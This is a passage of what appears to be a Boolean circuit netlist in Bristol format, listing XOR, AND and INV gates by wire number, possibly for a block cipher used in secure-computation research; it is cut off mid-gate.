XOR +2 1 11182 11151 11141 XOR +2 1 11141 11094 11178 XOR +2 1 11141 11143 11181 XOR +2 1 11178 11223 11163 AND +2 1 11178 11208 11172 AND +2 1 11172 11163 11124 XOR +2 1 11181 11220 11171 AND +2 1 11171 11172 11157 XOR +2 1 11181 11216 11162 AND +2 1 11170 11162 11126 XOR +2 1 11170 11171 11108 XOR +2 1 34391 11155 11138 XOR +2 1 11138 11099 11091 XOR +2 1 11128 11091 11098 XOR +2 1 11095 11098 11180 XOR +2 1 11180 11212 11167 AND +2 1 11163 11167 11139 XOR +2 1 11091 11092 11176 XOR +2 1 11176 11224 11159 AND +2 1 11138 11101 11184 XOR +2 1 11184 11213 11174 AND +2 1 11184 11215 11165 AND +2 1 11176 11209 11168 AND +2 1 11168 11157 11147 XOR +1 1 11139 11117 INV +2 1 11164 11147 11113 XOR +1 1 11113 11110 INV +2 1 11180 11221 11158 AND +2 1 11177 11214 11175 AND +2 1 11168 11171 11123 XOR +1 1 11123 11120 INV +2 1 34397 11093 11096 XOR +2 1 11095 11096 11179 XOR +2 1 11179 11222 11160 AND +2 1 11179 11211 11169 AND +2 1 11168 11169 11119 XOR +2 1 11159 11160 11153 XOR +2 1 11165 11153 11135 XOR +2 1 11166 11135 11136 XOR +2 1 11174 11136 11140 XOR +2 1 11175 11140 11145 XOR +2 1 11173 11140 11109 XOR +2 1 11108 11109 36410 XOR +2 1 11126 11153 11122 XOR +2 1 11117 11122 11121 XOR +2 1 11145 11119 11226 XOR +2 1 11169 11147 11107 XOR +2 1 11136 11107 36412 XOR +2 1 36412 36417 11624 XOR +1 1 11624 11715 INV +2 1 11624 33079 11416 XOR +2 1 11157 11145 36411 XOR +2 1 36411 36415 11676 XOR +2 1 11715 36411 11543 XOR +2 1 11715 36413 11418 XOR +1 1 11226 32852 INV +2 1 32852 36416 11669 XOR +2 1 11117 11161 11116 XOR +2 1 11120 11121 11227 XOR +1 1 11227 36408 INV +2 1 33078 11227 11546 XOR +2 1 36410 36414 11679 XOR +2 1 11173 11175 11154 XOR +2 1 11116 11154 11112 XOR +2 1 11160 11112 11115 XOR +2 1 11135 11112 11111 XOR +2 1 11110 11111 36409 XOR +1 1 36409 11420 INV +2 1 36410 11420 11419 XOR +2 1 11418 11419 11692 XOR +2 1 11154 11122 11125 XOR +2 1 11124 11125 11228 XOR +1 1 11228 32853 INV +2 1 11169 11158 11118 XOR +1 1 11118 11114 INV +2 1 11114 11115 11225 XOR +1 1 11225 32851 INV +2 1 32851 33077 11672 XOR +2 1 11321 11361 11299 AND +2 1 11310 11299 11258 XOR +1 1 11258 11254 INV +2 1 11254 11255 11365 XOR +1 1 11365 32855 INV +2 1 32834 32855 11653 XOR +2 1 34290 34292 25266 XOR +2 1 25266 25264 25226 XOR +2 1 25266 34291 25225 XOR +2 1 34286 25225 25355 XOR +2 1 25355 34286 25341 AND +2 1 25263 25226 25348 XOR +2 1 25343 25266 25269 XOR +2 1 25269 25267 25273 XOR +2 1 34293 25273 25278 XOR +2 1 25357 25348 25335 AND +2 1 25335 25341 25292 XOR +2 1 25292 25264 25279 XOR +2 1 25273 25292 25241 XOR +2 1 34291 25241 25284 XOR +2 1 25287 25279 25331 XOR +2 1 25335 25338 25288 XOR +2 1 25336 25288 25282 XOR +2 1 25268 25288 25242 XOR +2 1 25242 25267 25332 XOR +2 1 25287 25278 25334 XOR +2 1 25334 25333 25330 AND +2 1 25330 25332 25329 XOR +2 1 25330 25284 25325 XOR +2 1 25331 25329 25328 AND +2 1 25328 25340 25233 XOR +2 1 25233 25269 25229 XOR +2 1 34293 25229 25232 XOR +2 1 25328 25278 25230 XOR +2 1 34291 25229 25228 XOR +2 1 25328 25284 25327 XOR +2 1 25327 25353 25297 AND +2 1 25327 25346 25306 AND +2 1 25339 25282 25238 XOR +2 1 34287 25238 25326 XOR +2 1 25325 25326 25324 AND +2 1 25324 25341 25236 XOR +2 1 25324 25282 25237 XOR +2 1 25330 25324 25322 XOR +2 1 25332 25322 25321 AND +2 1 25321 25339 25291 XOR +2 1 25291 25285 25313 XOR +2 1 25313 25350 25311 AND +2 1 34287 25291 25274 XOR +2 1 25274 25237 25320 XOR +2 1 25320 25349 25310 AND +2 1 25324 25332 25323 XOR +2 1 25323 34286 25309 AND +2 1 25309 25311 25290 XOR +2 1 25236 25338 25231 XOR +2 1 25231 25232 25315 XOR +2 1 25315 25358 25296 AND +2 1 25315 25347 25305 AND +2 1 25313 25354 25302 AND +2 1 25320 25351 25301 AND +2 1 25323 25355 25300 AND +2 1 25321 25329 25319 XOR +2 1 25327 25319 25318 AND +2 1 25318 25342 25235 XOR +2 1 25274 25235 25227 XOR +2 1 25318 25287 25277 XOR +2 1 25277 25279 25317 XOR +2 1 25317 25356 25307 AND +2 1 25306 25307 25244 XOR +2 1 25317 25352 25298 AND +2 1 25306 25298 25262 XOR +2 1 25227 25228 25312 XOR +2 1 25312 25360 25295 AND +2 1 25264 25227 25234 XOR +2 1 25231 25234 25316 XOR +2 1 25316 25348 25303 AND +2 1 25316 25357 25294 AND +2 1 25305 25294 25254 XOR +1 1 25254 25250 INV +2 1 25277 25230 25314 XOR +2 1 25314 25344 25308 AND +2 1 25307 25308 25293 XOR +2 1 25312 25345 25304 AND +2 1 25304 25305 25255 XOR +2 1 25295 25296 25289 XOR +2 1 25301 25289 25271 XOR +2 1 25302 25271 25272 XOR +2 1 25310 25272 25276 XOR +2 1 25311 25276 25281 XOR +2 1 25293 25281 36442 XOR +2 1 36442 36436 11401 XOR +2 1 36437 36442 11663 XOR +1 1 11663 11434 INV +2 1 25309 25276 25245 XOR +2 1 25244 25245 36441 XOR +1 1 36441 11399 INV +2 1 11399 36435 11398 XOR +2 1 25281 25255 25362 XOR +1 1 25362 36444 INV +2 1 33065 36444 11649 XOR +2 1 25362 33072 11473 XOR +2 1 36436 36441 11671 XOR +1 1 11671 11437 INV +2 1 25262 25289 25258 XOR +2 1 25290 25258 25261 XOR +2 1 25304 25293 25283 XOR +2 1 25300 25283 25249 XOR +1 1 25249 25246 INV +2 1 25305 25283 25243 XOR +2 1 25272 25243 36445 XOR +2 1 36445 33065 11470 XOR +2 1 36438 36445 11623 XOR +2 1 25304 25307 25259 XOR +1 1 25259 25256 INV +2 1 25314 25359 25299 AND +2 1 25308 25299 25260 XOR +2 1 25260 25261 25364 XOR +2 1 25299 25303 25275 XOR +1 1 25275 25253 INV +2 1 25253 25297 25252 XOR +2 1 25253 25258 25257 XOR +2 1 25252 25290 25248 XOR +2 1 25271 25248 25247 XOR +2 1 25246 25247 36440 XOR +1 1 36440 11406 INV +2 1 25296 25248 25251 XOR +2 1 11406 33066 11481 XOR +2 1 36435 36440 11678 XOR +1 1 11678 11453 INV +1 1 25364 33057 INV +2 1 33067 33057 11686 XOR +2 1 25250 25251 25361 XOR +2 1 25361 36437 11478 XOR +1 1 25361 36443 INV +2 1 33072 36443 11656 XOR +2 1 25256 25257 25363 XOR +1 1 25363 36439 INV +2 1 25363 33067 11395 XOR +2 1 33066 36439 11685 XOR +1 1 11623 33234 INV +2 1 33234 33066 11467 XOR +2 1 33234 36436 11463 XOR +2 1 33234 36437 11461 XOR +1 1 9380 33249 INV +2 1 33249 36062 9363 XOR +2 1 33249 33041 9368 XOR +2 1 9367 9368 9366 XOR +1 1 9366 35973 INV +2 1 35973 1430 34255 XOR +2 1 34255 27736 27732 XOR +2 1 34255 34256 27660 XOR +2 1 34261 34255 27739 XOR +2 1 27736 27732 27719 AND +2 1 27660 27733 27731 XOR +2 1 33249 36053 9183 XOR +2 1 9183 9184 9452 XOR +2 1 9452 9396 35976 XOR +2 1 35976 1427 34258 XOR +2 1 34258 34260 27646 XOR +2 1 34258 34261 27738 XOR +2 1 27738 27660 27734 XOR +2 1 27646 27644 27606 XOR +2 1 34256 34258 27740 XOR +2 1 27644 27740 27725 XOR +2 1 27740 27725 27716 AND +2 1 27646 34259 27605 XOR +2 1 34254 27605 27735 XOR +2 1 27735 34254 27721 AND +2 1 9362 9363 35975 XOR +2 1 35975 1428 34257 XOR +2 1 34257 34256 27620 XOR +2 1 34255 34257 27643 XOR +2 1 27643 27606 27728 XOR +2 1 27737 27728 27715 AND +2 1 34256 27643 27645 XOR +2 1 34260 27645 27727 XOR +2 1 34259 27645 27724 XOR +2 1 27643 27738 27730 XOR +2 1 34254 27730 27729 XOR +2 1 27731 27729 27722 AND +2 1 27650 27645 27726 XOR +2 1 27739 27724 27720 AND +2 1 27720 27644 27648 XOR +2 1 27716 27722 27667 XOR +2 1 27715 27721 27672 XOR +2 1 27672 27644 27659 XOR +2 1 27733 27726 27718 AND +2 1 27715 27718 27668 XOR +2 1 27716 27668 27662 XOR +2 1 27719 27662 27618 XOR +2 1 34255 27618 27706 XOR +2 1 27738 27727 27717 AND +2 1 27717 27645 27647 XOR +2 1 27716 27717 27619 XOR +2 1 27619 27620 27666 XOR +2 1 27666 27648 27665 XOR +2 1 27719 27665 27713 XOR +2 1 27667 27659 27711 XOR +2 1 27648 27668 27622 XOR +2 1 27622 27647 27712 XOR +2 1 27730 27734 27723 AND +2 1 27723 27646 27649 XOR +2 1 27649 27647 27653 XOR +2 1 27653 27672 27621 XOR +2 1 34259 27621 27664 XOR +2 1 34261 27653 27658 XOR +2 1 27667 27658 27714 XOR +2 1 27714 27713 27710 AND +2 1 27710 27664 27705 XOR +2 1 27705 27706 27704 AND +2 1 27704 27712 27703 XOR +2 1 27710 27704 27702 XOR +2 1 27712 27702 27701 AND +2 1 27704 27721 27616 XOR +2 1 27704 27662 27617 XOR +2 1 27701 27719 27671 XOR +2 1 34255 27671 27654 XOR +2 1 27654 27617 27700 XOR +2 1 27671 27665 27693 XOR +2 1 27693 27730 27691 AND +2 1 27693 27734 27682 AND +2 1 27703 34254 27689 AND +2 1 27689 27691 27670 XOR +2 1 27710 27712 27709 XOR +2 1 27701 27709 27699 XOR +2 1 27616 27718 27611 XOR +2 1 27711 27709 27708 AND +2 1 27708 27664 27707 XOR +2 1 27708 27658 27610 XOR +2 1 27707 27733 27677 AND +2 1 27708 27720 27613 XOR +2 1 27613 27649 27609 XOR +2 1 34259 27609 27608 XOR +2 1 27707 27726 27686 AND +2 1 34261 27609 27612 XOR +2 1 27707 27699 27698 AND +2 1 27698 27667 27657 XOR +2 1 27698 27722 27615 XOR +2 1 27654 27615 27607 XOR +2 1 27644 27607 27614 XOR +2 1 27611 27614 27696 XOR +2 1 27696 27737 27674 AND +2 1 27696 27728 27683 AND +2 1 27607 27608 27692 XOR +2 1 27692 27740 27675 AND +2 1 27692 27725 27684 AND +2 1 27700 27731 27681 AND +2 1 27657 27659 27697 XOR +2 1 27697 27736 27687 AND +2 1 27684 27687 27639 XOR +2 1 27697 27732 27678 AND +2 1 27686 27678 27642 XOR +1 1 27639 27636 INV +2 1 27611 27612 27695 XOR +2 1 27695 27738 27676 AND +2 1 27675 27676 27669 XOR +2 1 27695 27727 27685 AND +2 1 27681 27669 27651 XOR +2 1 27682 27651 27652 XOR +2 1 27685 27674 27634 XOR +2 1 27684 27685 27635 XOR +2 1 27642 27669 27638 XOR +2 1 27670 27638 27641 XOR +1 1 27634 27630 INV +2 1 27686 27687 27624 XOR +2 1 27657 27610 27694 XOR +2 1 27694 27739 27679 AND +2 1 27679 27683 27655 XOR +1 1 27655 27633 INV +2 1 27633 27677 27632 XOR +2 1 27632 27670 27628 XOR +2 1 27676 27628 27631 XOR +2 1 27651 27628 27627 XOR +2 1 27630 27631 27741 XOR +2 1 27694 27724 27688 AND +2 1 27633 27638 27637 XOR +2 1 27636 27637 27743 XOR +2 1 27743 32820 9906 XOR +2 1 27688 27679 27640 XOR +2 1 27640 27641 27744 XOR +1 1 27743 36221 INV +2 1 27687 27688 27673 XOR +2 1 27684 27673 27663 XOR +2 1 27685 27663 27623 XOR +2 1 27652 27623 36225 XOR +2 1 36220 36225 10153 XOR +2 1 10153 33086 10015 XOR +1 1 10153 10048 INV +2 1 10048 36219 10047 XOR +2 1 10048 32819 10055 XOR +2 1 10048 36218 10051 XOR +2 1 32819 36221 10192 XOR +2 1 27700 27729 27690 AND +2 1 27690 27652 27656 XOR +2 1 27689 27656 27625 XOR +2 1 27624 27625 36223 XOR +1 1 36223 9910 INV +2 1 27691 27656 27661 XOR +2 1 27673 27661 36224 XOR +2 1 36224 36218 9912 XOR +2 1 36219 36224 10181 XOR +2 1 9910 36217 9909 XOR +2 1 9908 9909 10240 XOR +2 1 27661 27635 27742 XOR +2 1 9911 9912 10239 XOR +1 1 10181 10022 INV +2 1 36218 36223 10185 XOR +1 1 10185 10049 INV +2 1 27703 27735 27680 AND +2 1 27680 27663 27629 XOR +1 1 27629 27626 INV +2 1 27626 27627 36222 XOR +2 1 36217 36222 10188 XOR +1 1 10188 10040 INV +2 1 10040 36230 10038 XOR +2 1 36222 32819 10067 XOR +1 1 27741 33118 INV +2 1 33118 36219 10065 XOR +2 1 32824 33118 10177 XOR +2 1 10177 10171 10044 XOR +2 1 10177 33085 10037 XOR +1 1 10037 10035 INV +1 1 27742 33119 INV +2 1 33119 33118 10034 XOR +1 1 27744 33120 INV +2 1 32820 33120 10193 XOR +2 1 9905 9906 10241 XOR +1 1 9386 33250 INV +2 1 33250 36015 9310 XOR +2 1 33250 33127 9174 XOR +2 1 9310 9311 35891 XOR +2 1 33250 35998 9331 XOR +2 1 35891 1512 34173 XOR +2 1 9174 9175 9456 XOR +2 1 9456 9448 35877 XOR +2 1 35877 1526 34159 XOR +2 1 34165 34159 28019 XOR +2 1 34159 34161 27923 XOR +2 1 34160 27923 27925 XOR +2 1 27930 27925 28006 XOR +2 1 28013 28006 27998 AND +2 1 9330 9331 35880 XOR +2 1 35880 1523 34162 XOR +2 1 34162 34165 28018 XOR +2 1 34171 34173 31284 XOR +2 1 31284 31380 31365 XOR +2 1 34170 34173 31378 XOR +2 1 31378 31300 31374 XOR +2 1 31284 31290 31373 XOR +2 1 31300 31373 31371 XOR +2 1 31283 31378 31370 XOR +2 1 34166 31370 31369 XOR +2 1 31286 31284 31246 XOR +2 1 31283 31246 31368 XOR +2 1 34173 34167 31379 XOR +2 1 34173 34168 31377 XOR +2 1 31370 31374 31363 AND +2 1 31363 31286 31289 XOR +2 1 31371 31369 31362 AND +2 1 31379 31364 31360 AND +2 1 31360 31284 31288 XOR +2 1 31373 31366 31358 AND +2 1 31378 31367 31357 AND +2 1 31357 31285 31287 XOR +2 1 31289 31287 31293 XOR +2 1 34173 31293 31298 XOR +2 1 31380 31365 31356 AND +2 1 31356 31362 31307 XOR +2 1 31307 31298 31354 XOR +2 1 31356 31357 31259 XOR +2 1 31259 31260 31306 XOR +2 1 31306 31288 31305 XOR +2 1 31359 31305 31353 XOR +2 1 31377 31368 31355 AND +2 1 31355 31358 31308 XOR +2 1 31355 31361 31312 XOR +2 1 31312 31284 31299 XOR +2 1 31307 31299 31351 XOR +2 1 31356 31308 31302 XOR +2 1 31288 31308 31262 XOR +2 1 31262 31287 31352 XOR +2 1 31293 31312 31261 XOR +2 1 34171 31261 31304 XOR +2 1 31359 31302 31258 XOR +2 1 34167 31258 31346 XOR +2 1 31354 31353 31350 AND +2 1 31350 31304 31345 XOR +2 1 31350 31352 31349 XOR +2 1 31351 31349 31348 AND +2 1 31348 31304 31347 XOR +2 1 31348 31360 31253 XOR +2 1 31253 31289 31249 XOR +2 1 34173 31249 31252 XOR +2 1 31348 31298 31250 XOR +2 1 34171 31249 31248 XOR +2 1 31345 31346 31344 AND +2 1 31344 31352 31343 XOR +2 1 31350 31344 31342 XOR +2 1 31344 31302 31257 XOR +2 1 31344 31361 31256 XOR +2 1 31256 31358 31251 XOR +2 1 31251 31252 31335 XOR +2 1 31352 31342 31341 AND +2 1 31341 31349 31339 XOR +2 1 31341 31359 31311 XOR +2 1 31311 31305 31333 XOR +2 1 34167 31311 31294 XOR +2 1 31294 31257 31340 XOR +2 1 31347 31339 31338 AND +2 1 31338 31307 31297 XOR +2 1 31297 31299 31337 XOR +2 1 31338 31362 31255 XOR +2 1 31294 31255 31247 XOR +2 1 31284 31247 31254 XOR +2 1 31251 31254 31336 XOR +2 1 31297 31250 31334 XOR +2 1 31247 31248 31332 XOR +2 1 31333 31370 31331 AND +2 1 31340 31369 31330 AND +2 1 31343 34166 31329 AND +2 1 31329 31331 31310 XOR +2 1 31334 31364 31328 AND +2 1 31337 31376 31327 AND +2 1 31327 31328 31313 XOR +2 1 31347 31366 31326 AND +2 1 31326 31327 31264 XOR +2 1 31335 31367 31325 AND +2 1 31332 31365 31324 AND +2 1 31324 31313 31303 XOR +2 1 31324 31327 31279 XOR +1 1 31279 31276 INV +2 1 31324 31325 31275 XOR +2 1 31325 31303 31263 XOR +2 1 31336 31368 31323 AND +2 1 31333 31374 31322 AND +2 1 31340 31371 31321 AND +2 1 31343 31375 31320 AND +2 1 31320 31303 31269 XOR +1 1 31269 31266 INV +2 1 31334 31379 31319 AND +2 1 31319 31323 31295 XOR +2 1 31328 31319 31280 XOR +1 1 31295 31273 INV +2 1 31337 31372 31318 AND +2 1 31326 31318 31282 XOR +2 1 31347 31373 31317 AND +2 1 31273 31317 31272 XOR +2 1 31272 31310 31268 XOR +2 1 31335 31378 31316 AND +2 1 31316 31268 31271 XOR +2 1 31332 31380 31315 AND +2 1 31315 31316 31309 XOR +2 1 31321 31309 31291 XOR +2 1 31322 31291 31292 XOR +2 1 31330 31292 31296 XOR +2 1 31331 31296 31301 XOR +2 1 31313 31301 36228 XOR +1 1 36228 10021 INV +2 1 31282 31309 31278 XOR +2 1 31310 31278 31281 XOR +2 1 31280 31281 31384 XOR +2 1 31273 31278 31277 XOR +2 1 31276 31277 31383 XOR +2 1 31301 31275 31382 XOR +2 1 31291 31268 31267 XOR +2 1 31266 31267 36226 XOR +2 1 31329 31296 31265 XOR +2 1 31264 31265 36227 XOR +2 1 31292 31263 36229 XOR +2 1 36229 36233 10152 XOR +2 1 10193 10152 10031 XOR +2 1 10171 10152 10061 XOR +2 1 36225 36229 10160 XOR +2 1 10160 33087 9917 XOR +1 1 10160 9923 INV +2 1 10160 36231 9919 XOR +2 1 9923 36232 9921 XOR +2 1 31336 31377 31314 AND +2 1 31325 31314 31274 XOR +1 1 31274 31270 INV +2 1 31270 31271 31381 XOR +2 1 34160 34162 28020 XOR +2 1 27924 28020 28005 XOR +2 1 34162 34164 27926 XOR +2 1 34159 28016 28012 XOR +2 1 28016 28012 27999 AND +2 1 27923 28018 28010 XOR +2 1 34158 28010 28009 XOR +2 1 27926 27924 27886 XOR +2 1 34159 34160 27940 XOR +2 1 28018 27940 28014 XOR +2 1 28010 28014 28003 AND +2 1 28003 27926 27929 XOR +2 1 27940 28013 28011 XOR +2 1 28011 28009 28002 AND +2 1 36225 10061 36108 XOR +2 1 36108 1368 34317 XOR +2 1 10193 10160 10041 XOR +2 1 33088 10041 36117 XOR +2 1 36117 1359 34326 XOR +2 1 36228 36232 10173 XOR +2 1 10177 10173 10018 XOR +2 1 10239 10173 36105 XOR +2 1 36105 1371 34314 XOR +2 1 34314 34317 10522 XOR +2 1 36227 36231 10178 XOR +2 1 10240 10178 36104 XOR +2 1 10022 10178 10019 XOR +2 1 36104 1372 34313 XOR +2 1 36226 36222 9920 XOR +2 1 9919 9920 10235 XOR +2 1 10235 10185 36120 XOR +2 1 36120 1356 34329 XOR +2 1 10152 33119 10042 XOR +2 1 10042 10043 36116 XOR +2 1 36116 1360 34325 XOR +2 1 34164 27925 28007 XOR +2 1 28018 28007 27997 AND +2 1 28020 28005 27996 AND +2 1 27996 27997 27899 XOR +2 1 27899 27900 27946 XOR +2 1 27996 28002 27947 XOR +2 1 36226 36230 10183 XOR +2 1 10183 33087 10066 XOR +2 1 10066 10067 36103 XOR +2 1 36103 1373 34312 XOR +2 1 10192 10183 10052 XOR +2 1 36217 10052 36111 XOR +2 1 36111 1365 34320 XOR +2 1 34325 34320 27597 XOR +2 1 34313 34312 10404 XOR +2 1 34317 34312 10521 XOR +2 1 34312 34314 10524 XOR +2 1 10185 10183 10026 XOR +2 1 10152 36227 10027 XOR +2 1 10026 10027 36128 XOR +2 1 36128 1348 34337 XOR +2 1 34163 27925 28004 XOR +2 1 28019 28004 28000 AND +2 1 28000 27924 27928 XOR +2 1 27946 27928 27945 XOR +2 1 27999 27945 27993 XOR +2 1 10049 10173 10046 XOR +2 1 10046 10047 36113 XOR +2 1 36113 1363 34322 XOR +2 1 34320 34322 27600 XOR +2 1 34322 34325 27598 XOR +2 1 27923 27886 28008 XOR +2 1 28017 28008 27995 AND +2 1 27995 27998 27948 XOR +2 1 27928 27948 27902 XOR +2 1 27996 27948 27942 XOR +2 1 27999 27942 27898 XOR +2 1 34159 27898 27986 XOR +2 1 27997 27925 27927 XOR +2 1 27902 27927 27992 XOR +2 1 27929 27927 27933 XOR +2 1 34165 27933 27938 XOR +2 1 27947 27938 27994 XOR +2 1 27994 27993 27990 AND +2 1 27990 27992 27989 XOR +2 1 10021 36224 10036 XOR +2 1 10035 10036 36122 XOR +2 1 36122 1354 34331 XOR +2 1 10152 10021 10020 XOR +2 1 10019 10020 36129 XOR +2 1 36129 1347 34338 XOR +2 1 10040 10178 10050 XOR +2 1 10050 10051 36112 XOR +2 1 36112 1364 34321 XOR +2 1 34321 34320 27480 XOR +2 1 36227 9910 9922 XOR +2 1 9921 9922 10234 XOR +2 1 10234 10181 36121 XOR +2 1 36121 1355 34330 XOR +2 1 27926 34163 27885 XOR +2 1 34158 27885 28015 XOR +2 1 28015 34158 28001 AND +2 1 27995 28001 27952 XOR +2 1 27952 27924 27939 XOR +2 1 27947 27939 27991 XOR +2 1 27991 27989 27988 AND +2 1 27988 27938 27890 XOR +2 1 27933 27952 27901 XOR +2 1 34163 27901 27944 XOR +2 1 27988 27944 27987 XOR +2 1 27987 28013 27957 AND +2 1 27987 28006 27966 AND +2 1 27990 27944 27985 XOR +2 1 27985 27986 27984 AND +2 1 27984 27992 27983 XOR +2 1 27983 34158 27969 AND +2 1 27983 28015 27960 AND +2 1 27990 27984 27982 XOR +2 1 27992 27982 27981 AND +2 1 27984 27942 27897 XOR +2 1 27981 27999 27951 XOR +2 1 34159 27951 27934 XOR +2 1 27934 27897 27980 XOR +2 1 27980 28009 27970 AND +2 1 27980 28011 27961 AND +2 1 27951 27945 27973 XOR +2 1 27973 28014 27962 AND +2 1 27973 28010 27971 AND +2 1 27969 27971 27950 XOR +2 1 27988 28000 27893 XOR +2 1 27893 27929 27889 XOR +2 1 34165 27889 27892 XOR +2 1 34163 27889 27888 XOR +2 1 27984 28001 27896 XOR +2 1 27896 27998 27891 XOR +2 1 27891 27892 27975 XOR +2 1 27975 28007 27965 AND +2 1 27975 28018 27956 AND +1 1 31383 33201 INV +2 1 33201 27743 10039 XOR +2 1 10152 33201 10030 XOR +2 1 10038 10039 36119 XOR +2 1 36119 1357 34328 XOR +2 1 34329 34328 10544 XOR +2 1 34328 34330 10664 XOR +2 1 33201 33087 10186 XOR +2 1 10241 10186 36102 XOR +2 1 36102 1374 34311 XOR +2 1 34317 34311 10523 XOR +2 1 34311 34313 10427 XOR +2 1 10427 10522 10514 XOR +2 1 34312 10427 10429 XOR +2 1 10188 10186 10028 XOR +2 1 36226 10028 36127 XOR +2 1 36127 1349 34336 XOR +2 1 34336 34338 10804 XOR +2 1 34337 34336 10684 XOR +2 1 10193 10186 10054 XOR +2 1 34311 34312 10444 XOR +2 1 10522 10444 10518 XOR +2 1 10514 10518 10507 AND +2 1 10054 10055 10053 XOR +1 1 10053 36110 INV +2 1 36110 1366 34319 XOR +2 1 34319 34321 27503 XOR +2 1 34325 34319 27599 XOR +2 1 34320 27503 27505 XOR +2 1 27503 27598 27590 XOR +2 1 34319 34320 27520 XOR +2 1 27598 27520 27594 XOR +2 1 27590 27594 27583 AND +1 1 31384 33202 INV +2 1 33202 10031 36125 XOR +2 1 36125 1351 34334 XOR +2 1 33202 33120 9918 XOR +2 1 9917 9918 10236 XOR +2 1 10236 10192 36118 XOR +2 1 33202 33088 10190 XOR +2 1 10190 10162 10068 XOR +2 1 10192 10190 10029 XOR +2 1 10190 10153 10056 XOR +2 1 10029 10030 36126 XOR +2 1 36126 1350 34335 XOR +2 1 34335 34336 10724 XOR +2 1 34335 34337 10707 XOR +2 1 34336 10707 10709 XOR +2 1 32820 10056 36109 XOR +2 1 36109 1367 34318 XOR +2 1 34318 27590 27589 XOR +2 1 33120 10068 36101 XOR +2 1 36101 1375 34310 XOR +2 1 34310 10514 10513 XOR +2 1 36118 1358 34327 XOR +2 1 34327 34329 10567 XOR +2 1 34328 10567 10569 XOR +2 1 34331 10569 10648 XOR +2 1 34327 34328 10584 XOR +1 1 31381 33207 INV +2 1 33207 33085 10168 XOR +2 1 10168 36232 10064 XOR +2 1 10064 10065 36106 XOR +2 1 36106 1370 34315 XOR +2 1 34315 34317 10428 XOR +2 1 10428 10524 10509 XOR +2 1 34315 10429 10508 XOR +2 1 33207 10018 36130 XOR +2 1 36130 1346 34339 XOR +2 1 34339 10709 10788 XOR +2 1 10171 33207 10033 XOR +2 1 10033 10034 36123 XOR +2 1 36123 1353 34332 XOR +2 1 34326 34332 10574 XOR +2 1 34332 10569 10651 XOR +2 1 34331 10574 10660 XOR +2 1 34327 10660 10656 XOR +2 1 10660 10656 10643 AND +2 1 34330 34332 10570 XOR +2 1 10570 34331 10529 XOR +2 1 34326 10529 10659 XOR +2 1 10659 34326 10645 AND +2 1 10181 10168 10045 XOR +2 1 32824 10045 36114 XOR +2 1 36114 1362 34323 XOR +2 1 34323 27505 27584 XOR +2 1 34323 34325 27504 XOR +2 1 27504 27600 27585 XOR +2 1 27599 27584 27580 AND +2 1 27600 27585 27576 AND +2 1 27580 27504 27508 XOR +2 1 10574 10569 10650 XOR +2 1 10523 10508 10504 AND +2 1 10504 10428 10432 XOR +1 1 31382 33208 INV +2 1 36229 33208 10016 XOR +2 1 10015 10016 36132 XOR +2 1 36132 1344 34341 XOR +2 1 34338 34341 10802 XOR +2 1 34341 34335 10803 XOR +2 1 10803 10788 10784 AND +2 1 10802 10724 10798 XOR +2 1 10707 10802 10794 XOR +2 1 34341 34336 10801 XOR +2 1 34334 10794 10793 XOR +2 1 10794 10798 10787 AND +2 1 33208 10044 36115 XOR +2 1 36115 1361 34324 XOR +2 1 34324 27505 27587 XOR +2 1 34318 34324 27510 XOR +2 1 27504 27510 27593 XOR +2 1 27510 27505 27586 XOR +2 1 27598 27587 27577 AND +2 1 27593 27586 27578 AND +2 1 27577 27505 27507 XOR +2 1 34322 34324 27506 XOR +2 1 27506 34323 27465 XOR +2 1 34318 27465 27595 XOR +2 1 27595 34318 27581 AND +2 1 27583 27506 27509 XOR +2 1 27509 27507 27513 XOR +2 1 34325 27513 27518 XOR +2 1 27506 27504 27466 XOR +2 1 27503 27466 27588 XOR +2 1 27597 27588 27575 AND +2 1 27575 27578 27528 XOR +2 1 27576 27528 27522 XOR +2 1 27575 27581 27532 XOR +2 1 27532 27504 27519 XOR +2 1 27520 27593 27591 XOR +2 1 27591 27589 27582 AND +2 1 27576 27582 27527 XOR +2 1 27527 27518 27574 XOR +2 1 27527 27519 27571 XOR +2 1 27513 27532 27481 XOR +2 1 34339 34341 10708 XOR +2 1 10784 10708 10712 XOR +2 1 10708 10804 10789 XOR +2 1 10804 10789 10780 AND +2 1 34323 27510 27596 XOR +2 1 34319 27596 27592 XOR +2 1 27596 27592 27579 AND +2 1 27579 27522 27478 XOR +2 1 34319 27478 27566 XOR +2 1 34323 27481 27524 XOR +2 1 33119 33208 10170 XOR +2 1 10170 33086 10062 XOR +2 1 10062 10063 36107 XOR +2 1 36107 1369 34316 XOR +2 1 34310 34316 10434 XOR +2 1 10428 10434 10517 XOR +2 1 10434 10429 10510 XOR +2 1 10444 10517 10515 XOR +2 1 10515 10513 10506 AND +2 1 34314 34316 10430 XOR +2 1 10430 10428 10390 XOR +2 1 10427 10390 10512 XOR +2 1 10521 10512 10499 AND +2 1 10430 34315 10389 XOR +2 1 34310 10389 10519 XOR +2 1 34315 10434 10520 XOR +2 1 34311 10520 10516 XOR +2 1 10507 10430 10433 XOR +2 1 10520 10516 10503 AND +2 1 10517 10510 10502 AND +2 1 10499 10502 10452 XOR +2 1 10432 10452 10406 XOR +2 1 34316 10429 10511 XOR +2 1 10522 10511 10501 AND +2 1 10501 10429 10431 XOR +2 1 10433 10431 10437 XOR +2 1 10406 10431 10496 XOR +2 1 34317 10437 10442 XOR +2 1 10170 10153 10032 XOR +2 1 10170 10168 10017 XOR +2 1 32818 10017 36131 XOR +2 1 36131 1345 34340 XOR +2 1 34338 34340 10710 XOR +2 1 10787 10710 10713 XOR +2 1 34334 34340 10714 XOR +2 1 10714 10709 10790 XOR +2 1 10708 10714 10797 XOR +2 1 10710 34339 10669 XOR +2 1 34334 10669 10799 XOR +2 1 10710 10708 10670 XOR +2 1 10707 10670 10792 XOR +2 1 34339 10714 10800 XOR +2 1 10724 10797 10795 XOR +2 1 10795 10793 10786 AND +2 1 34340 10709 10791 XOR +2 1 10802 10791 10781 AND +2 1 10781 10709 10711 XOR +2 1 10713 10711 10717 XOR +2 1 34341 10717 10722 XOR +2 1 10797 10790 10782 AND +2 1 10780 10781 10683 XOR +2 1 10799 34334 10785 AND +2 1 36233 10032 36124 XOR +2 1 36124 1352 34333 XOR +2 1 34333 34327 10663 XOR +2 1 10663 10648 10644 AND +2 1 34331 34333 10568 XOR +2 1 10570 10568 10530 XOR +2 1 10568 10574 10657 XOR +2 1 10644 10568 10572 XOR +2 1 10584 10657 10655 XOR +2 1 10567 10530 10652 XOR +2 1 34333 34328 10661 XOR +2 1 10661 10652 10639 AND +2 1 34330 34333 10662 XOR +2 1 10567 10662 10654 XOR +2 1 34326 10654 